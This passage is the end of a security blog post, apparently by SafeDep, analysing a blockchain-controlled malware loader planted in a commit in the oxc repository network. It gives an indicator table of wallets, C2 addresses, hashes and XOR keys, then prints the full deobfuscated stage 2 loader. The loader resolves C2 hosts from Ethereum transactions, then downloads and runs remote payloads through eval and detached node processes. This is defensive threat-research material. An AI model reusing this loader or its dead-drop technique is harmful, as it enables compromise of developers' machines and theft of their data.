| 7 | 0xB5D6959401bbb5D69594005000ff8C84e0b715b1 | Ethereum address | 2 | Heartbeat recipient 2026-09-07 to 2026-09-25. Encodes 181.214.149.148 |
| 8 | 0xB5D6959301bbB5D69593005000FfABa8a5A2ADA2 | Ethereum address | 2 | Heartbeat recipient 2026-09-03 to 2026-09-07. Encodes 181.214.149.147 |
| 9 | 0x171B14bb01bB171B14BB0050EB7f39C35C47E682 | Ethereum address | 2 | Heartbeat recipient 2026-06-24 to 2026-09-03. Encodes 23.27.20.187 |
| 10 | 0x171B14bB0050171b14Bb01BB398EAAB6441Fbd47 | Ethereum address | 2 | Heartbeat recipient 2026-06-23 to 2026-06-24. Encodes 23.27.20.187 |
| 11 | 0xd31A213E77C0E3Be774bD0DdBC86cf2D86090B59 | Ethereum address | 2 | Funded the operator wallet on 2026-06-23 and 2026-08-04 |
| 12 | 0x76D6dDCBDE60c1DFDBE4E836D7122C3B49216907 | Ethereum address | 2 | Funded the operator wallet on 2026-09-28 |
| 13 | 198.105.127.210 | IP address | 3 | C2. /boot and /init on port 443 over plain HTTP. AS149440 |
| 14 | 45.137.198.133 | IP address | 3 | C2. /0/boot /0/body /snv and /$/1 on port 80. AS212477 |
| 15 | 181.214.149.147 | IP address | 3 | C2 2026-09-03 to 2026-09-07. AS397423 |
| 16 | 181.214.149.148 | IP address | 3 | C2 2026-09-07 to 2026-09-25. AS397423 |
| 17 | 23.27.20.187 | IP address | 3 | C2 2026-06-23 to 2026-09-03. AS149440 |
| 18 | X: 33ff3edaf55a8e03dcbc7cb40d498a49:5-841-du | HTTP header | 2 | Header on the /boot request |
| 19 | YU7m{rE/>|==b>#~ | XOR key | 3 | Decrypts the /0/body response |
| 20 | 02b7e072c51ac6f7037c2fd4727fcdb06bee6f74cc1af182f7180d8b5e904d63 | SHA-256 | 3 | /boot response from 198.105.127.210 |
| 21 | 84a3f1bd81ae4780776c93f9a5ec1cb0d7d6fb613f4a104cceaa93568bdbd0ab | SHA-256 | 3 | /0/boot response from 45.137.198.133 |
| 22 | 5cbcb8e11f6152c80cf88f752bcf9cb1077a88eac5e4eb02471f093248db01ac | SHA-256 | 4 | /init JSON response |
| 23 | f6d9f2fbf8091f431a802c4a0b8a5661278ee3f0854fb9040a0702e894b2309e | SHA-256 | 4 | /0/body response (XOR encoded) |
| 24 | 3be09f8c0a95f993a0ee99e08dca08eb15e1c0abeaf90b190a76e842028e552b | SHA-256 | 5 | Python stealer from /$/1 |
| 25 | ~/.node_modules | File path | 4 | Private npm prefix for axios and socket.io-client |
| 26 | /tmp/tmp7A863DD1.tmp | File path | 5 | Python stealer lock file (Linux and macOS) |
| 27 | %LOCALAPPDATA%\Temp\tmp7A863DD1.tmp | File path | 5 | Python stealer lock file (Windows) |
| 28 | /tmp/.pip | File path | 5 | Fallback pip install target |
| 29 | 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a | Ethereum address | 2 | Second operator wallet. Heartbeat every 1000 blocks since 2026-07-25 |
| 30 | 68656c6c6f6970626f742121 | Address suffix | 2 | ASCII helloipbot!! at the end of every 0xa322 heartbeat recipient |
| 31 | 0x4E5B2e1dc63F6b91cb6Cd759936495434C7e972F | Ethereum address | 2 | Funded 0xa322 on 2026-07-25 (high volume wallet) |
| 32 | 0x96C8e62C0Bae9E526f3122E5a5215069C6C0bd0C | Ethereum address | 2 | Funded 0xa322 on 2026-07-30 |
| 33 | 166.88.134.62 | IP address | 3 | 0xa322 C2 2026-07-25 to 2026-08-22. Also in the @joyfill stage 2 routing. AS149440 |
| 34 | 23.27.13.135 | IP address | 3 | 0xa322 C2 2026-08-22 to 2026-08-27. AS149440 |
| 35 | 166.88.73.46 | IP address | 3 | 0xa322 C2 2026-08-28 to 2026-09-03. AS149440 |
| 36 | 193.247.144.38 | IP address | 3 | 0xa322 C2 2026-09-04 to 2026-09-17. AS149440 |
| 37 | 166.88.134.75 | IP address | 3 | 0xa322 C2 2026-09-17 to 2026-09-28. AS149440 |
| 38 | 91.218.183.174 | IP address | 3 | 0xa322 C2 from 2026-09-28. AS149440 |
| 39 | /0x/cls | URL path | 3 | 0xa322 branch. Response XOR key q4FZkxX{!h |
| 40 | /0x/ls | URL path | 3 | 0xa322 branch. Response XOR key y-p_>d$0B&@^1aQk |
| 41 | Sec-V | HTTP header | 3 | 0xa322 branch. Carries the campaign marker |
| 42 | TCqf6ZkaQD84vYsC2cuu1jRwB6JveTaRrF | Tron address | 2 | Paired 1-NN-1 files. Primary dead drop |
| 43 | TFMryB9m6d4kBMRjEVyFRbqKSV1cV2NcpH | Tron address | 2 | Paired 1-NN-1 files. Fallback dead drop |
| 44 | 0x3d2075f97b7b1e3234bd653779d21c605d7d8c6ec9c98d983880be5c7f4f9471 | Aptos account | 2 | Paired 1-NN-1 files |
| 45 | 0x9d202c824402ca89e9aaccd2390b6f8b332ae743caa1469c695feb2781d56519 | Aptos account | 2 | Paired 1-NN-1 files |
Deobfuscated stage 2
The file below is the stage 2 loader from the oxc commit after SafeDep resolved its string table. The variable names come from the obfuscator.
// Stage 2 loader from commit 41ab07a8 in the oxc repository network. String tables resolved statically, formatted with Prettier.
// Variable names are the obfuscator output. Do not run.
function _$af5738(o) {
if (o != null && typeof o['length'] == 'number') {
var i = 0;
return {
next: function () {
return i < o['length'] ? { done: false, value: o[i++] } : { done: true, value: void 0 };
},
};
}
if (o != null && typeof Symbol != 'undefined' && typeof o[Symbol['iterator']] == 'function') {
return o[Symbol['iterator']]();
}
throw new TypeError('Value is not iterable');
}
(function (g) {
try {
var c = g['console'];
if (!c) {
return;
}
var a = [
'log',
'info',
'warn',
'error',
'debug',
'trace',
'dir',
'table',
'group',
'groupCollapsed',
'groupEnd',
'time',
'timeEnd',
];
for (var i = 0; i < a['length']; i++) {
try {
c[a[i]] = function () {};
} catch (ex) {}
}
} catch (ex) {}
})(typeof globalThis !== 'undefined' ? globalThis : Function('return this')());
_$jsoIter = _$af5738;
(async function () {
var i = global;
var u = i['r'];
var e = i['o'] || 0;
var r = '33ff3edaf55a8e03dcbc7cb40d498a49';
var n = 3;
var o = 8;
var c = 1 << o;
async function a(c, a, s) {
if (a === void 0) {
a = [];
}
return new i['Promise'](function (o, e) {
var t = i['JSON']['stringify']({ jsonrpc: '2.0', method: c, params: a, id: 1 });
var n = { hostname: s, method: 'POST' };
var r = u('https')
['request'](n, function (t) {
var n = '';
t['on']('data', function (t) {
n += t;
});
t['on']('end', function () {
try {
o(i['JSON']['parse'](n)['result']);
} catch (t) {
e(t);
}
});
})
['on']('error', function (t) {
e(t);
});
r['write'](t);
r['end']();
});
}
async function s(t, n) {
if (n === void 0) {
n = [];
}
try {
var __jso_block_param_14_o = await a(t, n, 'ethereum-rpc.publicnode.com1');
if (__jso_block_param_14_o) {
return __jso_block_param_14_o;
}
} catch {}
try {
var __jso_block_param_13_o = await a(t, n, 'eth.drpc.org');
if (__jso_block_param_13_o) {
return __jso_block_param_13_o;
}
} catch {}
try {
var __jso_block_param_12_o = await a(t, n, 'eth-mainnet.public.blastapi.io');
if (__jso_block_param_12_o) {
return __jso_block_param_12_o;
}
} catch {}
}
async function d(t) {
var n = await s('eth_getBlockByNumber', ['0x' + t['toString'](16), true]);
if (!(n['transactions'] == null ? undefined : n['transactions']['length'])) {
return;
}
{
var _$err_76ce_1;
try {
for (
var _$it_76ce_1 = _$jsoIter(n['transactions']), _$st_76ce_1;
!(_$st_76ce_1 = _$it_76ce_1['next']())['done'];
) {
var __jso_nested_loop_3_o = _$st_76ce_1['value'];
if (__jso_nested_loop_3_o['from']['includes'](r)) {
return __jso_nested_loop_3_o['to'];
}
}
} catch (_$ex_76ce_1) {
_$err_76ce_1 = { e: _$ex_76ce_1 };
} finally {
try {
if (_$st_76ce_1 && !_$st_76ce_1['done'] && _$it_76ce_1['return']) {
_$it_76ce_1['return']();
}
} finally {
if (_$err_76ce_1) {
throw _$err_76ce_1['e'];
}
}
}
}
}
async function l(n) {
for (var __jso_nested_loop_2_t = -1; __jso_nested_loop_2_t < 13; __jso_nested_loop_2_t++) {
var __jso_block_param_11_o = __jso_nested_loop_2_t == -1 ? 0 : Math['pow'](2, __jso_nested_loop_2_t);
for (var __jso_nested_loop_1_t = 0; __jso_nested_loop_1_t < 3; __jso_nested_loop_1_t++) {
var __jso_block_param_10_e = await d(n - __jso_block_param_11_o * c + __jso_nested_loop_1_t);
if (__jso_block_param_10_e) {
return __jso_block_param_10_e;
}
}
}
}
async function f(t) {
return new i['Promise'](function (o, n) {
u('http')
['get'](t, { headers: { X: r + ':' + e } }, function (t) {
var n = '';
t['on']('data', function (t) {
n += t;
});
t['on']('end', function () {
o(n);
});
})
['on']('error', function (t) {
n(t);
})
['end']();
});
}
function h(t, n) {
return (
t['substring'](n, n + 8)
['match'](/.{2}/g)
['map'](function (t) {
return parseInt(t, 16);
})
['join']('.') +
':' +
parseInt(t['substring'](n + 8, n + 12), 16)
);
}
var t = new i['Date']()['getTime']();
try {
if (i['_p_t'] && t - i['_p_t'] < 3e4) {
return;
}
} catch (t) {}
i['_p_t'] = t;
try {
var __jso_block_param_9_p = parseInt(await s('eth_blockNumber'));
var __jso_block_param_8_t = ((__jso_block_param_9_p >> o) << o) + n;
if (__jso_block_param_9_p < __jso_block_param_8_t) {
__jso_block_param_8_t -= c;
}
var __jso_block_param_7_m = await l(__jso_block_param_8_t);
var __jso_block_param_6_b = u('child_process')['spawn'];
var __jso_block_param_5_w = { detached: true, stdio: 'ignore', windowsHide: true };
var __jso_block_param_4_y = "global.i='" + e + "';global.r=require;global.m=module;";
try {
var __jso_block_param_3_g = await f('http://' + h(__jso_block_param_7_m, 2) + '/boot');
__jso_block_param_6_b(
'node',
['-e', __jso_block_param_4_y + __jso_block_param_3_g],
__jso_block_param_5_w,
)['on']('error', function (__jso_block_param_8_t) {});
eval(__jso_block_param_3_g);
var __jso_block_param_2__ = u('os');
if (
__jso_block_param_2__['platform']() === 'linux' &&
__jso_block_param_2__['release']()['includes']('microsoft-standard-WSL2')
) {
__jso_block_param_6_b(
'node.exe',
['-e', __jso_block_param_4_y + __jso_block_param_3_g],
__jso_block_param_5_w,
)['on']('error', function (__jso_block_param_8_t) {});
}
} catch (__jso_block_param_8_t) {}
try {
var __jso_block_param_1_g = await f('http://' + h(__jso_block_param_7_m, 14) + '/0/boot');
__jso_block_param_6_b(
'node',
['-e', __jso_block_param_4_y + __jso_block_param_1_g],
__jso_block_param_5_w,
)['on']('error', function (__jso_block_param_8_t) {
eval(__jso_block_param_1_g);
});
} catch (__jso_block_param_8_t) {}
} catch (t) {}
})(); Related reading
astro.config.mjspull request with a blockchain C2 loader documents the Tron and BNB Smart Chain generation of this loader family.- Joyfill npm packages compromised with a blockchain C2 loader shows the
198.105.127[.]210and166.88.134[.]62routing. - Malicious pull requests threat model describes how a pull request can run code on reviewer computers and CI systems.
- supply-chain
- malware
- github
- blockchain
- polinrider
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
DirtyBlanket: Fake Express Packages on npm Spread a Linux Worm
Nine fake Express and React packages on npm run a Linux worm at install time. It installs a Tor backdoor and spreads through SSH, AUR packages, and npm tokens.
Mini Shai-Hulud Is Still Infecting GitHub Repositories
The May 2026 Mini Shai-Hulud worm is still infecting new GitHub repositories. Hijacked actions-cool/issues-helper tags planted Claude Code and VS Code hooks in six popular repositories between 20 and...
Detecting Compromised AI Coding Agents with Jev and Gryph
I checked every action of my own Claude Code agent against a profile of how I work and a set of org policies, using Jev. It caught 14 of 14 attacks for $0.15 per 1,000 events.
MemTensor npm and PyPI Packages Hit by a Go Worm
An attacker used a Go worm to steal CI publish tokens from MemTensor and ship malicious MemOS packages to npm and PyPI. See how it works, with code and indicators of compromise.
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.